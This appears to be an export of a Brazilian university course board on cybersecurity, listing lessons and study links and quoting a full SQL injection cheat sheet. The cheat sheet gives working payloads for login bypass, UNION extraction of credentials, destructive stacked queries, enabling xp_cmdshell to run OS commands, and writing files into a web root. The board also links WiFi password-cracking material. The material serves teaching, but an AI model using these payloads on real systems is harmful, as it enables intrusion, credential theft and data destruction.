# data[].attributes.body
Nesse mural você encontrará todas as atividades de preparação para as aulas de Segurança Cibernética, bem como links para acessar aos desafios preparatórios!

# data[].attributes.attachment_link.readable_text
Aula 1 - Apresentação da Disciplina (P1, P2, P3)

Material

2.49MB

Aula 2 - Princípios e Conceitos I (P1, P2, P3)

Aula 3 - Princípios e Conceitos II (P1, P2, P3)

Aula 4 - Ameaças, Vulnerabilidades e Ataques I (P1, P2, P3)

Aula 5 - Ameaças, Vulnerabilidades e Ataques II (P1, P2, P3)

Aula 6 - Ameaças, Vulnerabilidades e Ataques III (P1, P2, P3)

Aula 7 - Vulnerabilidades Comuns I (P2, P3)

Aula 8 - Vulnerabilidades Comuns II (P2, P3)

Aula 9 - Contramedidas (P2, P3)

Aula 10 - Resposta a Incidentes (P2, P3)

# data[].attributes.attachment_link.description
Material do professor Caetano da disciplina

# data[].attributes.body
Vídeo apresentando a importância da segurança da informação e como essa segurança pode ser ameaçada (8 minutos)

# data[].attributes.body
Vídeo curto apresentando os princípios basilares da Segurança da Informação (2 minutos).

# data[].attributes.body
Vídeo curto apresentando o conceito de segurança cibernética (6 minutos)

# data[].attributes.body
Vídeo sobre a segurança cibernética - diferenciando segurança da informação de segurança cibernética (8 minutos).

# data[].attributes.body
Vídeo curto apresentando algumas ferramentas para proteger a rede (6 minutos).

# data[].attributes.attachment_link.title
5 ferramentas de SEGURANÇA para proteger sua REDE!

# data[].attributes.body
Após estudar os conteúdos da aula 01, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 21/02 a 06/03/2022).

# data[].attributes.body
Vídeo da Cisco que apresenta um exemplo de dinâmica de um ataque "hacker" e a ação dos sistemas de defesa (5 minutos).

# data[].attributes.attachment_link.title
O Ataque  - Uma História de Hackers - Cisco

# data[].attributes.body
Vídeo curto que explica os passos para criar um plano de segurança da informação (3 minutos)

# data[].attributes.attachment_link.title
POLÍTICA DE SEGURANÇA DA INFORMAÇÃO EM 5 PASSOS

# data[].attributes.body
Vídeo curto explicando o que é Ethernet (4 minutos)

# data[].attributes.body
Vídeo demonstrando de maneira lúdica o funcionamento da rede e a função de cada um dos equipamentos (14 minutos)

# data[].attributes.body
Vídeo explicando o encaminhamento de pacotes em redes IP (14 minutos)

# data[].attributes.attachment_link.title
Encaminhamento de pacotes IP - Introdução

# data[].attributes.body
Após estudar os conteúdos da aula 02, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 07/03 a 13/03/2022).

# data[].attributes.body
Vídeo que apresenta a lógica do roteamento de pacotes na internet (8 minutos)

# data[].attributes.body
Vídeo curto que mostra uma ideia de como interceptar e analisar o tráfego de um malware. O vídeo está em inglês. Ligue a legenda e a tradução simultânea para português (5 minutos).

# data[].attributes.attachment_link.authors[].name
SANS Digital Forensics and Incident Response

# data[].attributes.attachment_link.title
How to Intercept IP Connections in a Malware Analysis Lab

# data[].attributes.body
Após estudar os conteúdos da aula 03, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 14/03 a 20/03/2022).

# data[].attributes.body
Vídeo curto que apresenta a ideia por trás do sniffer (3 minutos).

# data[].attributes.attachment_link.title
Sniffing - Segurança da Informação - Dicionário de Informática

# data[].attributes.body
Video longo que apresenta o badKarma, uma ferramenta alternativa ao Zenmap (14 minutos).

# data[].attributes.attachment_link.title
#Hackinagem[aXR6] - badKarma - Kit de Ferramentas Avançadas de Reconhecimento de Rede

# data[].attributes.body
Texto explicando o básico dos que são os Sniffers (10 minutos).

# data[].attributes.body
Vídeo longo com uma boa revisão de TCP/IP (20 minutos).

# data[].attributes.attachment_link.title
Modelo OSI e TCP/IP - Como funciona o processo de comunicação em redes. | Redes Brasil

# data[].attributes.body
Vídeo sobre como usar o Wireshark (12 minutos).

# data[].attributes.body
Vídeo curto mostrando como filtrar requisições ARP usando Wireshark (6 minutos)

# data[].attributes.body
Vídeo mostrando como filtrar comunicações TCP no Wireshark (9 minutos).

# data[].attributes.attachment_link.title
Como Funciona o Wireshark? - Protocolo TCP

# data[].attributes.body
Vídeo longo falando sobre as vulnerabilidades nas aplicações web (48 minutos)

# data[].attributes.attachment_link.title
[WEBINAR] Vulnerabilidades em aplicações web

# data[].attributes.body
Site da OWASP, dedicados a segurança em aplicações web (em inglês).

# data[].attributes.attachment_link.readable_text
The Open Web Application Security Project ® (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open-source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web.

Tools and Resources

Community and Networking

Education & Training

For nearly two decades corporations, foundations, developers, and volunteers have supported the OWASP Foundation and its work. Donate, Join, or become a Corporate Member today.

We are back again with yet another OWASP Spotlight series and this time we have a project which needs no introduction and I got the chance to interact with Andrew van der Stock, OWASP Foundation Executive Director and the project leader for OWASP Top 10.

The OWASP Top 10 is a book/referential document outlining the 10 most critical security concerns for web application security. The report is put together by a team of security experts from all over the world and the data comes from a number of organisations and is then analysed.
Read more..

Registration Open!

Join us virtually August 29 - September 1, for leading application security technologies, speakers, prospects, and community, in a unique event that will build on everything you already know to expect from an OWASP Global Conference.

Exhibit and Sponsorship Opportunities

Read more..

Andrew van der Stock, October 20, 2022

From time to time, leaders will bring an opportunity to support a similar organization, such as promoting another organization's event or seminar, staffing a booth or desk, or running a Capture the Flag event. Often the leader wants to promote the activity through OWASP's platforms because, in all likelihood, it will interest OWASP members. We call these arrangements "co-marketing," and there's a process to getting them approved so that OWASP is not abused as a free marketing tool by others.

Here's how to get your co-marketing approved quickly and efficiently by supplying the correct information early. Not all co-marketing will be approved, as most of the requests we receive are not OWASP-like or simply trying to abuse OWASP's large audience or as free marketing.

Here's how to get it done:
...read more

Recent OWASP News & Opinions

Upcoming Conferences

# data[].attributes.attachment_link.title
OWASP Foundation, the Open Source Foundation for Application Security | OWASP Foundation

# data[].attributes.attachment_link.description
The Open Web Application Security Project ® (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open-source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web.

# data[].attributes.body
Após estudar os conteúdos da aula 04, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 28/03 a 03/04/2022).

# data[].attributes.body
Vídeo longo apresentando uma introdução ao reconhecimento web e ao pentesting (45 minutos).

# data[].attributes.attachment_link.title
Aula 6 - Reconhecimento Web e Vulnerabilidades - Introdução ao Hacking e Pentest - Solyd

# data[].attributes.body
Vídeo curto que apresenta a ferramenta automatizada Wapiti3 para identificação de vulnerabilidades web (6 minutos)

# data[].attributes.attachment_link.title
[WAPITI] Ferramenta automatizada para identificação de vulnerabilidades web

# data[].attributes.body
Texto e vídeo curto sobre como scammers usam WiFi para furtar dados (10 minutos).

# data[].attributes.attachment_link.readable_text
O perigo muitas vezes se esconde no inesperado. Por exemplo, embora você esteja atento aos batedores de carteira, criminosos podem se aproximar despercebidos, via WiFi.

Imagine o seguinte cenário: você encontra um amigo em um café e faz um lanche, enquanto decidem o que farão a seguir. Talvez optem por ir ao cinema, teatro ou show. Aí você se conecta a uma rede WiFi para comprar ingressos. Logo depois, nota que o limite do seu cartão de crédito foi excedido.

Terrível não é? Parece justo simplesmente achar os bandidos e levá-los à justiça, não é? Ok, vamos tentar: lembra-se daqueles dois na mesa ao lado que tomavam chá, enquanto você comia seu lanche? Nada de estranho, conversavam baixo e olhavam para seu notebook vez outra. O que você não viu foi o equipamento especial na bolsa deles, algo como isso aqui:

Essas pessoas foram para o café para roubar dados dos outros clientes. Criaram um ponto de acesso WiFi para atrair vítimas e ter acesso aos dados enviados e recebidos por qualquer um que se conectou a ela. Para isso, bastou fazer login no internet banking e entregar de bandeja as credenciais. O casal na mesa ao lado usou a rede para postar uma foto no Instagram e os criminosos colocaram as mãos nas mídias sociais. Seu amigo, verificou o e-mail corporativo... acho que você já entendeu.

Para executar esse tipo de golpe, não são necessárias habilidades de programações avançadas. Existem mais de 300.000 vídeos no YouTube que explicam como hackear redes WiFi. Além do mais, o equipamento necessário é barato -menos de 100 dólares. Com seus dados pessoais e bancários, os cibercriminosos podem dar continuidade ao ataque e lucrar substencialmente.

Como funciona
Há várias formas de reunir dados com redes WiFi falsas.

Um dos métodos mais antigos - espiar - funciona com WiFi também. Plugins e aplicativos comuns podem transformar seu smartphone em um espião -também é possível adquirir equipamentos especializados online . Uma vez equipado, você será capaz de interceptar dados transferidos pelo ar, assim como, arquivos úteis como cookies e senhas.

Claro, você precisará de uma rede aberta ou com proteção frágil (por exemplo, rede com protocolo WEP) para ficar de olho no tráfego alheio. Os protocolos WPA e WPA2 são considerados mais confiáveis. Veja como esse tipo de espionagem funciona na visão do hacker.

Foi isso que os criminosos fizeram em nosso exemplo. A questão é que as pessoas tendem a confiar nos lugares que visitam: por exemplo, confiamos que a comida do café não nos deixará doente, os colaboradores serão cordiais e o WiFi será seguro.

Cibercriminosos se aproveitam dessa confiança. Tomemos como exemplo as muitas redes tipicamente encontradas em hotéis. Essa opção é utilizada em locais nos quais o alto número de usuários cria uma demanda que não pode ser atendida adequadamente por uma única rede. Nada impede os cibercriminosos de se aproveitarem disso e criarem uma terceira rede, além das duas já existentes do hotel.

Os perigos do #Wifi "gratuito" | https://t.co/zfXl9KkEO5 pic.twitter.com/mUvwxzG2Un

- Kaspersky Brasil (@Kasperskybrasil) May 10, 2016

É uma variação do método anterior. Computadores e celulares lembram-se das redes as quais se conectaram, de modo que em um segundo encontro a conexão seja feita automaticamente. Criminosos copiam os nomes de redes populares (redes WiFi em cafés e franquias de fast food) para enganar seus dispositivos.

O que você pode fazer?
Recomendamos nosso post sobre como usar WiFi público de maneira segura. De qualquer forma, algumas dicas indispensáveis:

1. Não confie em redes desprotegidas que não pedem senha.

2. Desligue o WiFi, caso você não precise dele.

3. Faça uma limpeza em sua lista de redes memorizadas de vez em quando.

4. Não use internet banking e não faça login em sites importantes em cafés, hotéis, shoppings e outros lugares com redes pouco confiáveis.

A boa notícia é que todos os usuários do Kaspersky Internet Security - Multidispositivos e do Kaspersky Total Security - Multidispositivos podem se proteger com o nosso novo componente de conexão segura, capaz de criptografar seus dados toda vez que você se conecta a redes públicas ou qualquer outra rede pouco segura.

Você ainda pode configurar a flexibilidade do componente, e programá-lo para ligar automaticamente quando você:

Se conecta a uma rede Wi-Fi pouco confiável

Acessa internet banking e sistemas de pagamento

Usa seu e-mail, mídias sociais, messenger, e outros meios de comunicação na internet.

# data[].attributes.attachment_link.title
Como cibercriminosos roubam dados via WiFi

# data[].attributes.attachment_link.description
O perigo muitas vezes se esconde no inesperado. Por exemplo, embora você esteja atento aos batedores de carteira, criminosos podem se aproximar despercebidos, via WiFi. Imagine o seguinte cenário: você encontra um amigo em um café e faz um lanche, enquanto decidem o que farão a seguir.

# data[].attributes.body
Texto falando sobre o quê um hacker pode vasculhar nos dados capturados em redes WiFi (10 minutos).

# data[].attributes.body
Após estudar os conteúdos da aula 05, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 04/04 a 10/04/2022).

# data[].attributes.body
Vídeo "Roteador Wireless no Packet Tracer Parte 1" - Acessar usando o Google Chrome, ative a legenda e, nas configurações, a tradução automática para português (11 minutos).

# data[].attributes.attachment_link.title
Linksys Wireless Router in Packet Tracer - Part 1

# data[].attributes.body
Vídeo "Roteador Wireless no Packet Tracer Parte 2" - Acessar usando o Google Chrome, ative a legenda e, nas configurações, a tradução automática para português (11 minutos).

# data[].attributes.attachment_link.title
Linksys Wireless Router in Packet Tracer - Part 2

# data[].attributes.body
Texto que apresenta o processo de conexão em uma rede WiFi. Leitura em inglês (10 minutos).

# data[].attributes.attachment_link.readable_text
Access points are bridges that bridge traffic between mobile stations and other devices on the network. Before a mobile station can send traffic through an AP, it must be in the appropriate connection state.

The three 802.11 connection states are:

Not authenticated or associated.

Authenticated but not yet associated.

Authenticated and associated.

A mobile station must be in an authenticated and associated state before bridging will occur.

The mobile station and AP will exchange a series of 802.11 management frames in order to get to an authenticated and associated state.

A mobile station starts out as not authenticated and associated.

1. A mobile station sends probe requests to discover 802.11 networks within its proximity. Probe requests advertise the mobile stations supported data rates and 802.11 capabilities such as 802.11n. Because the probe request is sent from the mobile station to the destination layer-2 address and BSSID of ff:ff:ff:ff:ff:ff all AP's that receive it will respond.

2. APs receiving the probe request check to see if the mobile station has at least one common supported data rate. If they have compatible data rates, a probe response is sent advertising the SSID (wireless network name), supported data rates, encryption types if required, and other 802.11 capabilities of the AP.

A mobile station chooses compatible networks from the probe responses it receives. Compatibility could be based on encryption type. Once compatible networks are discovered the mobile station will attempt low-level 802.11 authentication with compatible APs. Keep in mind that 802.11 authentication is not the same as WPA2 or 802.1X authentication mechanisms which occur after a mobile station is authenticated and associated. Originally 802.11 authentication frames were designed for WEP encryption however this security scheme has been proven to be insecure and therefore deprecated. Because of this 802.11 authentication frames are open and almost always succeed.

3. A mobile station sends a low-level 802.11 authentication frame to an AP setting the authentication to open and the sequence to 0x0001.

4. The AP receives the authentication frame and responds to the mobile station with authentication frame set to open indicating a sequence of 0x0002.

If an AP receives any frame other than an authentication or probe request from a mobile station that is not authenticated it will respond with a deauthentication frame placing the mobile into an unauthenticated an unassociated state. The station will have to begin the association process from the low level authentication step. At this point the mobile station is authenticated but not yet associated. Some 802.11 capabilities allow a mobile station to low-level authenticate to multiple APs. This speeds up the association process when moving between APs. A mobile station can be 802.11 authenticated to multiple APs however it can only be actively associated and transferring data through a single AP at a time.

5. Once a mobile station determines which AP it would like to associate to, it will send an association request to that AP. The association request contains chosen encryption types if required and other compatible 802.11 capabilities.

If an AP receives a frame from a mobile station that is authenticated but not yet associated, it will respond with a disassociation frame placing the mobile into an authenticated but unassociated state.

6. If the elements in the association request match the capabilties of the AP, the AP will create an Association ID for the mobile station and respond with an association response with a success message granting network access to the mobile station.

7. Now the mobile station is successfully associated to the AP and data transfer can begin.

Note: If WPA/WPA2 or 802.1X authentication is required on the wireless network, the mobile station will not be able to send data until dynamic keying and authentication have taken place after the 802.11 Association is complete.

# data[].attributes.attachment_link.description
Access points are bridges that bridge traffic between mobile stations and other devices on the network. Before a mobile station can send traffic through an AP, it must be in the appropriate connection state. The three 802.11 connection states are: Not authenticated or associated. Authenticated but not yet associated.

# data[].attributes.body
Vídeo "Quebrando o Handshake WiFi do WPA2" - Acessar usando o Google Chrome, ative a legenda e, nas configurações, a tradução automática para português  - ATENÇÃO! Vídeo de caráter educacional apenas! Um hacker ético jamais quebra sem autorização a senha de uma rede (14 minutos).

# data[].attributes.body
Texto que apresenta alguns apps que apoiam a descoberta de senhas de WiFi - ATENÇÃO! Texto de caráter educacional apenas! Um hacker ético jamais quebra sem autorização a senha de uma rede (leitura de 10 minutos).

# data[].attributes.attachment_link.title
Os 12 Melhores Apps Para Fazer Hack À Password de Wi-Fi em Android- Dr.Fone

# data[].attributes.attachment_link.description
Foram escolhidas essencialmente para satisfazer aquele hacker ético que está à procura de um pouco de diversão e aventura enquanto aprende a usar a tecnologia além das funções normais de utilização. Descrição: Este é um dos melhores hackers de password de Wi-Fi disponíveis gratuitamente para download no Google Play.

# data[].attributes.headline
Aula 06 - A Seguir... - CRÉDITO DIGITAL AURA

# data[].attributes.subject
Aula 06 - A Seguir... - CRÉDITO DIGITAL AURA

# data[].attributes.body
Não se esqueça de assistir aos conteúdos do crédito digital da Aula 07 (primeiro item do Tema 3 - Injeção, Quebra de Autenticação...) no Ambiente Aura! Conta carga horária e haverá prova digital (AVD) específica sobre este assunto!

# data[].attributes.body
Após estudar os conteúdos da aula 06, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 20/09 a 26/09/2021).

# data[].attributes.body
Vídeo longo sobre SQL Injection, apresentando os detalhes do lado do servidor de banco de dados (19 minutos).

# data[].attributes.body
Documento visual (em inglês) que explica detalhadamente como funciona a base de um ataque SQL Injection para quebra de Autenticação (10 minutos).

# data[].attributes.attachment_link.description
If you are vulnerable to SQL Injection, attackers can run arbitrary commands against your database. Ready to see how? → %>

# data[].attributes.body
Texto apresentando os tipos de vulnerabilidades que podem ser exploradas nos comandos SQL (30 minutos).

# data[].attributes.attachment_link.readable_text
Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL Injection vulnerability. In this cheat sheet you can find detailed technical information about SQL Injection vulnerabilities against MySQL, Microsoft SQL Server, Oracle and PostgreSQL SQL servers.

Your Information will be kept private.

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.

Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

(MS) means : MySQL and SQL Server etc.

(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

1. Line Comments

2. Inline Comments

3. Stacking Queries

4. If Statements

5. Using Integers

6. String Operations

7. Strings without Quotes

8. String Modification & Related

9. Union Injections

10. Bypassing Login Screens

11. Enabling xp_cmdshell in SQL Server 2005

12. Finding Database Structure in SQL Server

13. Fast way to extract data from Error Based SQL Injections in SQL Server

14. Blind SQL Injections

15. Covering Your Tracks

16. Extra MySQL Notes

17. Second Order SQL Injections

18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

Line Comments Sample SQL Injection Attacks

Username: admin'--

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

/*Comment Here*/ (SM)

DROP/*comment*/sampletable

DR/**/OP/*bypass blacklisting*/sampletable

SELECT/*avoid-spaces*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than3.23.02

MySQL Version Detection Sample Attacks

ID: 10
You will get the same response if MySQL version is higher than 3.23.02

SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries ( I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

ID: 10;DROP members --

SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

SQL Server If Statement

Oracle If Statement

PostgreSQL If Statement

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

0xHEXNUMBER (SM)
You can write hex like these;

SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

*About MySQL "||";
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT() function in MySQL.

CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

0x457578 (M) - Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return 'KLM'.

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return 'KLM'.

SELECT CHR(75)||CHR(76)||CHR(77) (O)
This will return 'KLM'.

SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
This will return 'KLM'.

Hex based SQL Injection Samples

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini

String Modification & Related

ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII('a')

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION - Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings ( table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

SQL Server (S)
Use field SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

MySQL (M)
Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password :
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)
In the same order,

' GROUP BY table.columnfromerror1 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on

If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.

To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.

Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting an error it means column is numeric.

Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
No Error - Syntax is right. MS SQL Server Used. Proceeding.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
No Error - First column is an integer.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! - Second column is not an integer.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
No Error - Second column is a string.

11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --
Error! - Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )

2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'

3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'ping '
Simple ping check ( configure your firewall or sniffer to identify request before launch it),

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

Error Messages
master..sysmessages

Linked Servers
master..sysservers

Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'

2. Registry Stuff (xp_regread)

1. xp_regaddmultistring

2. xp_regdeletekey

3. xp_regdeletevalue

4. xp_regenumkeys

5. xp_regenumvalues

6. xp_regread

7. xp_regremovemultistring

8. xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

3. Managing Services (xp_servicecontrol)

4. Medias (xp_availablemedia)

5. ODBC Resources (xp_enumdsn)

6. Login mode (xp_loginconfig)

7. Creating Cab Files (xp_makecab)

8. Domain Enumeration (xp_ntsec_enumdomains)

9. Process Killing (need PID) (xp_terminate_process)

10. Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

11. Write text file to a UNC or an internal path (sp_makewebtask)

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
MSSQL Bulk Notes

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
SQL Injection in LIMIT (M) or ORDER (MSO)

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005
EXEC sp_configure 'show advanced options',1
RECONFIGURE EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

Finding Database Structure in SQL Server (S)
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting User defined Tables
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Getting Column Names

Moving records (S)

Modify WHERE and use or ,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

